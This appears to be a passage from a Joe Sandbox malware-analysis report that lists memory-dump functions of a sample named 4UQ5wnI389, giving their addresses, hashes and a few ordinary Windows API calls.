Function 37B196C8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79e38d868ebf0236b1cb4633f6abd0cab5eb5c84f1fdc03d4660da1f2b756986
Instruction ID: 54e14656bfce967a404130dc0db46dc0d1eb849178f61fb243622125a1fad025
Opcode Fuzzy Hash: 79e38d868ebf0236b1cb4633f6abd0cab5eb5c84f1fdc03d4660da1f2b756986
Instruction Fuzzy Hash: 5AA182B5E01268CFEB24CF6AC944B9DBBF2AF89300F14C1AAD409B7255DB345A85CF51

Function 37B1A9B0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 493841e63f99ee9be633cf378a58e95ba4f4a788b583cae841b55ffda501dcf8
Instruction ID: ef2ba7cd4a2d4e014d942692fa97ee10731a49ed838b724b85837e7ce512b7cb
Opcode Fuzzy Hash: 493841e63f99ee9be633cf378a58e95ba4f4a788b583cae841b55ffda501dcf8
Instruction Fuzzy Hash: EFA173B5E01268CFEB14CF6AC984B9DBBF2AF89301F14C1AAD408B7255DB345A85CF51

Function 37A60F6F Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745686553.0000000037A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a60000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83b64473dde4af2c4e1fbedc6ed417c384b7639f0ee4b0139af6f2871acabbc9
Instruction ID: 4211163db46ac77ab5307210dafe20996784dfb941950754628b3a246670e0ca
Opcode Fuzzy Hash: 83b64473dde4af2c4e1fbedc6ed417c384b7639f0ee4b0139af6f2871acabbc9
Instruction Fuzzy Hash: 7A91F374900308CFEB10DFA8C988B9DBBB1FF89315F208269E519B7291DB749985CF55

Function 00154328 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d314a614b2cbc5012343b0056ff5fc7b9094d054bae9ebbffb664ca69fbddfa
Instruction ID: 646c31c5b133989b086d7c2e8bc72d3bcee9d632bc0d150fad1505608a39b007
Opcode Fuzzy Hash: 0d314a614b2cbc5012343b0056ff5fc7b9094d054bae9ebbffb664ca69fbddfa
Instruction Fuzzy Hash: F191D674E00258CFEB18DFA9D884A9DBBF2BF89305F14C169D819AB365DB309985CF50

Function 37B1BA97 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 085753c5e9e814a6c12e749673c2e91adac3d3b30bce2dc1caf35969320cb184
Instruction ID: b9e3dd01d7f10ba2b7965f6aa739b89be561cf1f6d6fc6aa4daa8e23237b7331
Opcode Fuzzy Hash: 085753c5e9e814a6c12e749673c2e91adac3d3b30bce2dc1caf35969320cb184
Instruction Fuzzy Hash: B981C674E00258CFEB18DFA9D94069EBBF2BF88311F248129E814BB358DB759942CF54

Function 37B1A9A0 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37e398df7dae223290c215b363ce28ef31c1b1e8a5eb5d6bb5d3a9256b792661
Instruction ID: d0f1e538d0d7b49dfdb0853c1bce05fa162d21d1c30355740ae6a441eb63a0c5
Opcode Fuzzy Hash: 37e398df7dae223290c215b363ce28ef31c1b1e8a5eb5d6bb5d3a9256b792661
Instruction Fuzzy Hash: 7481A5B4D00668CFEB18CF6AC944B9ABBF2AF89200F14C1AAD40CB7255DB345A85CF51

Function 37B18640 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af4a3ac9b34d1c8c6474dc4d5e7c5fd941e31e5d247a74fa9c3c5f6c2efd6a66
Instruction ID: 3379fc07d325a3c0cc4a67fc24ade726b7de7a6784681a628a5895c6e3aeece8
Opcode Fuzzy Hash: af4a3ac9b34d1c8c6474dc4d5e7c5fd941e31e5d247a74fa9c3c5f6c2efd6a66
Instruction Fuzzy Hash: E171D175D01268CFEB64CF66D9847DDBBF2BF89310F1091AAD409A7260DB349A82CF40

Function 37B196B8 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1e93f5b338f42de7dfd59e8d5c1470dffedc26bd186ae1dabb1fdbd7b0142f9
Instruction ID: 48a6cde84818469d4766f716cc8d4209aff997e1e4b58bfd85cd0886f63675dd
Opcode Fuzzy Hash: e1e93f5b338f42de7dfd59e8d5c1470dffedc26bd186ae1dabb1fdbd7b0142f9
Instruction Fuzzy Hash: 097193B1E00668CFEB68CF66C944B9DBBF2AF89300F14C1AAD40DA7254DB345A85CF51

Function 3818F3F6 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2746168269.0000000038180000.00000040.00000800.00020000.00000000.sdmp, Offset: 38180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38180000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41ae47485e46747dec0a2ad085768239b63273b98502c3b4800b374dc7b04b31
Instruction ID: ff266f80439d917c73139d91bb90f5462d4d89232e98d0f34ba59f6e58d85f74
Opcode Fuzzy Hash: 41ae47485e46747dec0a2ad085768239b63273b98502c3b4800b374dc7b04b31
Instruction Fuzzy Hash: 9F61F734A00259CFEB25DFA4D854BADB7B2FB88304F1081A9990A77750DF315E82DF90

Function 37B19D00 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5a85f169c0a67e8bc923496f1ad91a47d90ab69b1d39f650bb22abb0a9ce20a
Instruction ID: 3acaa8f2e3e254d10e22eb405857ea3ae0f49ac430313a51b28e904346487fe3
Opcode Fuzzy Hash: e5a85f169c0a67e8bc923496f1ad91a47d90ab69b1d39f650bb22abb0a9ce20a
Instruction Fuzzy Hash: 2C417BB1D016588BEB58CF6BCD457C9FAF3AFC9300F14C1AAD40CA6265DB741A868F51

Function 37B1A351 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 116175b886435627d307ce7c3901f36444a9a61a6d3d1886f90c47cf15e2e014
Instruction ID: be4a4f22b8748297b19984ac6544566584c9bacb945af7be69bdf1d4936f4eff
Opcode Fuzzy Hash: 116175b886435627d307ce7c3901f36444a9a61a6d3d1886f90c47cf15e2e014
Instruction Fuzzy Hash: 104169B1D016188BEB58CF6BCD447CAFAF3AFC9310F14C1AAD50CA6254DB741A868F51

Function 37B113F0 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f73158318d26de081238998ac9ddb12a3b59e663e6c5b6707038ef894a52c76
Instruction ID: 8eb556b12ba73ef31f1939194dd8e2d8e10154a0f3d8c6ee73017a0a774f964a
Opcode Fuzzy Hash: 0f73158318d26de081238998ac9ddb12a3b59e663e6c5b6707038ef894a52c76
Instruction Fuzzy Hash: 8841E2B4E01248CBEB18CFAAD9546DEBBF2AF89304F20D12AD418BB254EB355945CF54

Function 38180971 Relevance: 6.1, APIs: 4, Instructions: 138
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 381809FE
GetCurrentThread.KERNEL32 ref: 38180A3B
GetCurrentProcess.KERNEL32 ref: 38180A78
GetCurrentThreadId.KERNEL32 ref: 38180AD1

Memory Dump Source

Source File: 00000005.00000002.2746168269.0000000038180000.00000040.00000800.00020000.00000000.sdmp, Offset: 38180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38180000_4UQ5wnI389.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 43a148c8cdf75fe5e90f7350b9fcb0543fd64ec054d38eedfe7e04c5d98a1ce2
Instruction ID: 21384c66a9caf067a9e59c3beaf0b16eb0b2e58d594b05b602fa8e1c8dcea828
Opcode Fuzzy Hash: 43a148c8cdf75fe5e90f7350b9fcb0543fd64ec054d38eedfe7e04c5d98a1ce2
Instruction Fuzzy Hash: BD5154B0905749DFDB04CFAAD549BEEBBF1AF88300F24845AE419A7261D7345941CF62

Function 38180980 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 381809FE
GetCurrentThread.KERNEL32 ref: 38180A3B
GetCurrentProcess.KERNEL32 ref: 38180A78
GetCurrentThreadId.KERNEL32 ref: 38180AD1

Memory Dump Source

Source File: 00000005.00000002.2746168269.0000000038180000.00000040.00000800.00020000.00000000.sdmp, Offset: 38180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38180000_4UQ5wnI389.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 5aaf7dd3ac3e4a9d74da130e7f6e25c72c0439c43bad7548b61b0aefbfef0b34
Instruction ID: 007ceae792821e70120e79b7c896e5ee48f8076cfba4cfa14d5ba3c3bdc73d85
Opcode Fuzzy Hash: 5aaf7dd3ac3e4a9d74da130e7f6e25c72c0439c43bad7548b61b0aefbfef0b34
Instruction Fuzzy Hash: 9C5133B0901749DFEB04CFAAD549BEEBBF1AF88310F20845AE419A7361D7349941CF66

Function 38180104 Relevance: 1.6, APIs: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 38180222

Memory Dump Source

Source File: 00000005.00000002.2746168269.0000000038180000.00000040.00000800.00020000.00000000.sdmp, Offset: 38180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38180000_4UQ5wnI389.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 321194b55635f6789722836b3d2b5dd740fe6fdd54e1dbf9aa0c06f78cf5162a
Instruction ID: a7d236e325cadf710b373403f3278b8f9db746dcd6f8a8481ad12e6994bf6c82
Opcode Fuzzy Hash: 321194b55635f6789722836b3d2b5dd740fe6fdd54e1dbf9aa0c06f78cf5162a
Instruction Fuzzy Hash: BD51E2B1D00349DFDB14CFA9D885ADEBBB2FF48310F24852AE419AB210D7719941CF90

Function 38180110 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 38180222

Memory Dump Source

Source File: 00000005.00000002.2746168269.0000000038180000.00000040.00000800.00020000.00000000.sdmp, Offset: 38180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38180000_4UQ5wnI389.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 6e9f20fdb02195661b3b8850013edfe2e95b18d8ad2125ae4c2d408cb9fecec9
Instruction ID: 5d3f36767a7f14b752bb4b491d8125046ff906334db212d9d67c0a60561434ff
Opcode Fuzzy Hash: 6e9f20fdb02195661b3b8850013edfe2e95b18d8ad2125ae4c2d408cb9fecec9
Instruction Fuzzy Hash: 8741C0B5D00349DFDB14CFAAD881ADEFBB5BF48310F24812AE819AB210D7759941CF90

Function 38181854 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 38181E81

Memory Dump Source

Source File: 00000005.00000002.2746168269.0000000038180000.00000040.00000800.00020000.00000000.sdmp, Offset: 38180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38180000_4UQ5wnI389.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 68295d5dd8dba7decea5b439606bb605bf2710eae1e8a5610ff7c346f6808ad0
Instruction ID: 6d16217c13a466dee167d53acbe0bf901c20041dbad3e6cc92933fdcd92a8b25
Opcode Fuzzy Hash: 68295d5dd8dba7decea5b439606bb605bf2710eae1e8a5610ff7c346f6808ad0
Instruction Fuzzy Hash: CB4137B9900309DFDB51CF99C485E9ABBF5FB88310F258859E518AB321D734A841CFA1

Function 38180BC1 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 38180C4F

Memory Dump Source

Source File: 00000005.00000002.2746168269.0000000038180000.00000040.00000800.00020000.00000000.sdmp, Offset: 38180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38180000_4UQ5wnI389.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: cec197d909cfc732f08f340d338f60c837a2dad340ba4d7e03dfc8c7beeeca73
Instruction ID: ad570adeedf2b1dc3e7ea3c6140bc7420127b9782bc61dc50d5316d685d96a1f
Opcode Fuzzy Hash: cec197d909cfc732f08f340d338f60c837a2dad340ba4d7e03dfc8c7beeeca73
Instruction Fuzzy Hash: 1821E7B5900348DFDB10CFAAD984ADEBBF8EB48320F14845AE915A7310D374A955CFA5

Function 38180BC8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 38180C4F

Memory Dump Source

Source File: 00000005.00000002.2746168269.0000000038180000.00000040.00000800.00020000.00000000.sdmp, Offset: 38180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38180000_4UQ5wnI389.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 0613629a577530dfe5353ae29d22052408a74506327476222ee65732bf51950f
Instruction ID: b0977a607505a805ec7167a4780abc34201230c06ed2800621ca6fb01ba68b01
Opcode Fuzzy Hash: 0613629a577530dfe5353ae29d22052408a74506327476222ee65732bf51950f
Instruction Fuzzy Hash: 0B21C4B5900348EFDB10CFAAD985ADEFBF4EB48320F14845AE958A7350D374A950CF65

Function 3818D4C8 Relevance: 1.5, APIs: 1, Instructions: 47
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 3818D525

Memory Dump Source

Source File: 00000005.00000002.2746168269.0000000038180000.00000040.00000800.00020000.00000000.sdmp, Offset: 38180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38180000_4UQ5wnI389.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 98c985ed418d10e53f97b9a76012c70959bd4d896c118fa642221242ffc74df5
Instruction ID: 9ed95cbd207979bf816704d10d515142cb502aa3abbfbe1c643e902c6f3f0fb2
Opcode Fuzzy Hash: 98c985ed418d10e53f97b9a76012c70959bd4d896c118fa642221242ffc74df5
Instruction Fuzzy Hash: CF1133B5800788DFDB20CFAAD445BDEBFF4AB48224F24845ED419A7300C374A945CFA6

Function 38182019 Relevance: 1.5, APIs: 1, Instructions: 46
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetTimer.USER32(?,?,?,?), ref: 3818207D

Memory Dump Source

Source File: 00000005.00000002.2746168269.0000000038180000.00000040.00000800.00020000.00000000.sdmp, Offset: 38180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38180000_4UQ5wnI389.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: d0809c129a0df4c4c319893c729ab4fd95fd76422ff32d6909aef0a448ece7e7
Instruction ID: c2391705c2298fd7dc7e168066af1aa1fcab54d0d6d99d912793afb1528baca7
Opcode Fuzzy Hash: d0809c129a0df4c4c319893c729ab4fd95fd76422ff32d6909aef0a448ece7e7
Instruction Fuzzy Hash: 2A1122B5900648DFDB10CFAAD485BDEFBF4EB48320F10841AD459A7740C375A944CFA1

Function 3818C618 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 3818D525

Memory Dump Source

Source File: 00000005.00000002.2746168269.0000000038180000.00000040.00000800.00020000.00000000.sdmp, Offset: 38180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38180000_4UQ5wnI389.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: b4103944dfc3a9ebf6613b09e55e22245cee9decfe832de58d904142c0e0faaf
Instruction ID: 6e58fead2ac9c85a53cdb744f6e8cb58dc47c356e9957d98282b3b549d9bc2e0
Opcode Fuzzy Hash: b4103944dfc3a9ebf6613b09e55e22245cee9decfe832de58d904142c0e0faaf
Instruction Fuzzy Hash: 2E1112B6904748CFDB20CFAAD445B9EFBF4EB48224F20845AE519A7700C379A944CFA5

Function 3818C6C4 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,3818DA0F), ref: 3818E845

Memory Dump Source

Source File: 00000005.00000002.2746168269.0000000038180000.00000040.00000800.00020000.00000000.sdmp, Offset: 38180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38180000_4UQ5wnI389.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 46dc94ab8456395284502b3eb2f0479474479b843ffa704f3d7b9db7a86de253
Instruction ID: a582237915df26fd4a6cc3f6b36fff5f6584b3a5e6fbeb39df798047f507e9c5
Opcode Fuzzy Hash: 46dc94ab8456395284502b3eb2f0479474479b843ffa704f3d7b9db7a86de253
Instruction Fuzzy Hash: 321110B1C00648CFDB20CF9AD444B9EFBF4EB48220F10842AE518A3210C378A940CFA6

Function 38182020 Relevance: 1.5, APIs: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 3818207D

Memory Dump Source

Source File: 00000005.00000002.2746168269.0000000038180000.00000040.00000800.00020000.00000000.sdmp, Offset: 38180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38180000_4UQ5wnI389.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: e780ec3422bef1e5290b8eec8f7358161f2a0916be1fd8785f61cb223820dfdf
Instruction ID: a10f6151bd8706f9d1fe4b5f699e4627e32fe97cfd7db35b9c19dc22c8b44cf0
Opcode Fuzzy Hash: e780ec3422bef1e5290b8eec8f7358161f2a0916be1fd8785f61cb223820dfdf
Instruction Fuzzy Hash: 0611D3B5800749DFDB10CFAAD445BDEFBF8EB48320F10841AE559A7250C375A944CFA1

Function 3818E7E0 Relevance: 1.5, APIs: 1, Instructions: 43windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,3818DA0F), ref: 3818E845

Memory Dump Source

Source File: 00000005.00000002.2746168269.0000000038180000.00000040.00000800.00020000.00000000.sdmp, Offset: 38180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38180000_4UQ5wnI389.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: de3ee821d886620a08b45eddd532a73cecd20b5e62b25efb425f94a53d854f27
Instruction ID: 11908ec428acea4a15d334b69ab5984b9c1841c4444c610288d1fa19246a15bc
Opcode Fuzzy Hash: de3ee821d886620a08b45eddd532a73cecd20b5e62b25efb425f94a53d854f27
Instruction Fuzzy Hash: AD11E0B5C00649CFCB10CFAAD544BDEBBF4AB48314F14845AE459A7610C378A545CFA6

Function 37B1D548 Relevance: 1.4, Strings: 1, Instructions: 152COMMON

Download Yara Rule

Strings

4X;^, xrefs: 37B1D61D, 37B1D622

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID: 4X;^
API String ID: 0-2766785150
Opcode ID: 7b27e431be4fa7d99cf40dcb4c30e468ad01cd93952829db920326ff03e35c2e
Instruction ID: 5e87f9eb5fb8fec9ca80f91d1177c2dfcc60b147b1dc7aa84c46e8b9f23127c4
Opcode Fuzzy Hash: 7b27e431be4fa7d99cf40dcb4c30e468ad01cd93952829db920326ff03e35c2e
Instruction Fuzzy Hash: AD515C70A042499FCB05DFA8D495AEEBBB2FF89300F108569D005BB362DB35AD41CF91

Function 00157458 Relevance: .7, Instructions: 704COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fc1254672dfeeb3557095b585ad0148f481f84a66aca8a9fc52b7abaf495b7f
Instruction ID: 05a6589e03470109a9069d9f5a288d60cb1ac912d6153fc0199aab5e8778bfee
Opcode Fuzzy Hash: 4fc1254672dfeeb3557095b585ad0148f481f84a66aca8a9fc52b7abaf495b7f
Instruction Fuzzy Hash: B752FE34A00218CFEB24DBE4D861BAEBB72EF88301F1081A9D51A6B395DF355E85DF51

Function 001519B8 Relevance: .6, Instructions: 643COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24e1cdac5942fe33101dc072a4ee755cb4cf5342d8c2e2ddaa3eb19720783123
Instruction ID: cd641099139cf389b83264df6ad76588406ed308cc709392390e778404d9a3f1
Opcode Fuzzy Hash: 24e1cdac5942fe33101dc072a4ee755cb4cf5342d8c2e2ddaa3eb19720783123
Instruction Fuzzy Hash: 9D42D9A7E1D7E18FC7124B705CB82597FB17B22106BEE458ED8C297283EBA94485C353

Function 001566B8 Relevance: .5, Instructions: 456COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48dda29c72760ef5765bd22e8a203ef1c64dac2ba8d952a1241208ac2adc1cb1
Instruction ID: 1e726fe38e284da52e3972ce4ade88ec5bf7a2b6c7158efd7451e5fe3f73d9ec
Opcode Fuzzy Hash: 48dda29c72760ef5765bd22e8a203ef1c64dac2ba8d952a1241208ac2adc1cb1
Instruction Fuzzy Hash: ED126B30A00209CFCB14CFA9D984A9EBBF2FF88315F558559E869DB261DB30ED45CB90

Function 00154F00 Relevance: .3, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 291392359a253065cab30119c5eb1505adf16869c4816941ff7fc5b0dc394f25
Instruction ID: ccde11bb13fc6d9afdfc4e54c02ad577a122753884b34825a608fb37ed101491
Opcode Fuzzy Hash: 291392359a253065cab30119c5eb1505adf16869c4816941ff7fc5b0dc394f25
Instruction Fuzzy Hash: ADB1B030304610CFDB159F38C868B6A7BA6AF89306F158569E816CF391CB74CC89DB91

Function 37B1C175 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feea920de123621713b060e16987791b1aaaea337f06ad6b3c0a7ec55656e6e9
Instruction ID: 54db9f337c1b9f55356156c78e4a88479d89a4453b184254fd3099abe8492021
Opcode Fuzzy Hash: feea920de123621713b060e16987791b1aaaea337f06ad6b3c0a7ec55656e6e9
Instruction Fuzzy Hash: 27E1B274A00268CFDB25DFA4D894BADB7B2EB89305F5085A9D80A77390CB355E82DF50

Function 37B1C173 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e37a385491de1b19076e37dced1c54fdabbd517cee5cd3065769a35d6d10751d
Instruction ID: 7b2182729e3005bc7e908a3632b22cb5af850ac7973b8cdb2322f04f479901ad
Opcode Fuzzy Hash: e37a385491de1b19076e37dced1c54fdabbd517cee5cd3065769a35d6d10751d
Instruction Fuzzy Hash: 37E1B234A00268CFDB25DFA4D894BADB7B2EB89305F5085A9D80A77390CF355E82DF50

Function 00155460 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fa99de38a1b07ed316054bfb89756cf1aeea9999c99ae539da9dacb7121c90e
Instruction ID: e7ff8b451c5674a55f477a7085d82caeffee2836580697196d57b349c39ca3e9
Opcode Fuzzy Hash: 8fa99de38a1b07ed316054bfb89756cf1aeea9999c99ae539da9dacb7121c90e
Instruction Fuzzy Hash: 98818130B00945CFCB18CF69C4A49AAB7B3BF88316B658169D826DF365E731EC45CB91

Function 00150B29 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ad564184d38c6f6420ec8060716817dccf33cd23bcd8a237503107ecb49fcd5
Instruction ID: 8a6562f06d573c0d007fdaa7345f32c883cb7b9498cbbf21f676f6579e56e89c
Opcode Fuzzy Hash: 2ad564184d38c6f6420ec8060716817dccf33cd23bcd8a237503107ecb49fcd5
Instruction Fuzzy Hash: 8BA1C574A10249CFDB05DFE8E884ADDBBB1FB88705B105629E415AB365EB706D46CFC0

Function 00156C98 Relevance: .2, Instructions: 201COMMON

